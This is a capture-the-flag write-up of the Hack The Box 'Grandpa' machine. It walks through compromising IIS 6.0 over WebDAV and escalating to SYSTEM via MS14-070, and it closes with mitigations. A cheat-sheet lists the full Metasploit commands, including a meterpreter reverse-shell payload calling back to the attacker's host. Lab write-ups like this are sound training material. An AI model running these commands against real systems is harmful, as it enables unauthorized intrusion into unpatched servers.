Hack The Box - Grandpa

🎯 Objective

Gain initial access to the target and escalate privileges to obtain user and root/Administrator flags on the Hack The Box machine “Granda”.

🧭 Summary

• Target runs Microsoft IIS 6.0 with WebDAV enabled.
• Initial foothold via IIS WebDAV ScStoragePathFromUrl exploit (Metasploit).
• Post‑exploitation: migrate to a stable process and use Local Exploit Suggester.
• Privilege escalation using MS14-070 (tcpip ioctl) → NT AUTHORITY\SYSTEM.
• Grab flags and outline mitigations.

🧪 Reconnaissance

Nmap (top ports, version detection)

• Service banner indicated Microsoft IIS httpd 6.0.
• Full port sweeps did not reveal other interesting services.

Additional sweep:

Web surface

• Kicked off Dirb and Nikto in the background.
• Nikto highlighted a broad set of HTTP methods including PUT, MOVE, PROPFIND, and WebDAV indicators.

Methods observed: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

🔎 Enumeration & Initial Access

Attempted WebDAV PUT (manual & Metasploit)

• Tried uploading via curl WebDAV — server responded with 500, though files appeared browsable.
• Switched to Metasploit http_put to simplify uploads, but execution blocked by server behavior.

Chaining to Remote Code Execution

• Identified likely vuln set for IIS 6.0/WebDAV from searchsploit/metasploit.
• Selected: exploit/windows/iis/iis_webdav_scstoragepathfromurl

Module selection:

Result: meterpreter session established.

🧰 Post‑Exploitation (User)

Process Migration

Background the session and migrate into a stable process (e.g., notepad) to avoid instability and unlock token access:

post/windows/manage/migrate

Evidence:

User context after migration:

Server username: NT AUTHORITY\NETWORK SERVICE

Grabbed user flag:

⬆️ Privilege Escalation (to SYSTEM)

Local Exploit Suggester

With a stable session:

multi/recon/local_exploit_suggester

Findings included:

• ms14_058_track_popup_menu
• ms14_070_tcpip_ioctl ✅
• ms15_051_client_copy_image
• ms16_016_webdav
• ms16_032_secondary_logon_handle_privesc
• ppr_flatten_rec

Working path: MS14‑070

Execute:

exploit/windows/local/ms14_070_tcpip_ioctl

Gained NT AUTHORITY\SYSTEM:

Now collect root/Administrator flag.

🧾 Commands & Payloads (Cheat‑Sheet)

Scanning

nmap -sC -sV -T4 -oA granda_initial 10.10.10.X

Metasploit (Foothold)

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.10.10.X
set RPORT 80
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <vpn_ip>
set LPORT 4444
run

Stabilize & Suggest

background
use post/windows/manage/migrate
set SESSION 1
run

use multi/recon/local_exploit_suggester
set SESSION 1
run

PrivEsc

use exploit/windows/local/ms14_070_tcpip_ioctl
set SESSION 1
run
getuid

🛡️ Mitigations & Hardening

• Decommission IIS 6.0; upgrade to supported IIS on a supported OS.
• Disable WebDAV unless strictly required.
• Restrict HTTP methods to GET/POST/HEAD only; block PUT/MOVE/PROPFIND/....
• Network segmentation; restrict admin interfaces by IP.
• EDR to flag meterpreter‑like behaviors, process injections, and suspicious child processes (e.g., notepad.exe spawned for migration).
• Patch Windows per MS14-070 and related bulletins; enforce regular patch cadence.

📌 Notes & Lessons Learned

• WebDAV on legacy IIS is a classic initial foothold vector.
• If uploads are flaky, pivot to remote code execution vulns instead of fighting WebDAV quirks.
• Migrate early for session stability; then run local exploit suggester.
• Always re‑run suggester after migration; token and process context matter.